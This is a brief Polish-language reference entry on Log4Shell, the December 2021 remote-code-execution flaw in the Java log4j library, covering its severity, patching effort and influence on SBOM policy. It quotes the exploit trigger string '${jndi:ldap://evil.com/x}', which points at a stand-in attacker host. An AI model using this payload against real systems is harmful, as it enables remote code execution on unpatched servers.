Log4Shell
Katastrofalna luka w javowej bibliotece logującej log4j (grudzień 2021) — samo zapisanie ciągu znaków w logu wystarczyło, by uruchomić dowolny kod.
Wyzwalacz: ${jndi:ldap://evil.com/x}. Log4j siedzi w miliardach systemów javowych na świecie. CVSS 10.0. Tygodnie panicznego łatania. Symbol ryzyka łańcucha dostaw w zależnościach open source. Dała impuls unijnym i amerykańskim inicjatywom dotyczącym SBOM i zgłaszania incydentów bezpieczeństwa.